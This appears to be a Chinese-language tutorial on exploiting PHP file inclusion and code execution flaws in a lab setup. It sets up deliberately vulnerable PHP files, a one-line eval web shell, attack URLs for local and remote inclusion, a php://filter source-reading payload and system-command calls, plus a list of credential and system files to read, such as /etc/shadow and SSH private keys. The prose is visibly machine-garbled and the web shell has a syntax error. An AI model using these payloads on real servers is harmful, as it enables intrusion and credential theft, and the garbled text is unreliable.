---- 网易云热评
一、文件包含漏洞
1、常见包含函数
include(),require(),include_once(),require_once()
2、本地文件包含,新建一个include.php文件,里面输入
<?php
$test=$_GET['c'];
include($test);
?>
3、再新建一个test.txt文件,里面输入:<?php phpinfo()?>
4、访问192.168.171.128/include.php?c=test.txt
5、读取敏感目录文件
windows:
C:\boot.ini //查看系统版本
C:\WINDOWS\system32\inetsrvMetaBase.xml //IIS配置文件
C:\WINDOWS\repair\sam //存储系统初次安装的密码
C:\WINDOWS\php.ini //php配置信息
C:\WINDOWS\my.ini //mysql配置信息
linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/mounts
/proc/config.gz
二、远程文件包含
1、将上面新建的test.txt文件放到另一台做事器上192.168.1.103
2、访问 http://192.168.171.128/include.php?c=http://192.168.1.103/test.txt
确保php.ini中allow_url_fopen和allow_url_include要为On
三、伪协议利用读取php文件的源码
1、读取test.php文件结果如下
2、通过伪协议可以获取test.php的源码
http://192.168.171.128/include.php?c=php://filter/read=convert.base64-encode/resource=test.php
base64解码往后,获取文件源码
四、代码实行漏洞
1、常见代码实行函数
eval()/assert()/system()/exec()/shell_exec()/passthru()/escapesshellcmd()/pcntl_exec()
例如:<?php eval($_POST[a];?>
2、 获取ip干系信息
http://192.168.171.128/test.php?a=system('ipconfig');
3、动态代码实行
新建test.php,内容为:
<?php
$a=$_GET['a'];
$b=$_GET['b'];
$a($b);
?>
访问: http://192.168.171.128/test.php?a=system&b=ipconfig
禁止造孽,后果自大
欢迎关注"大众年夜众号:web安全工具库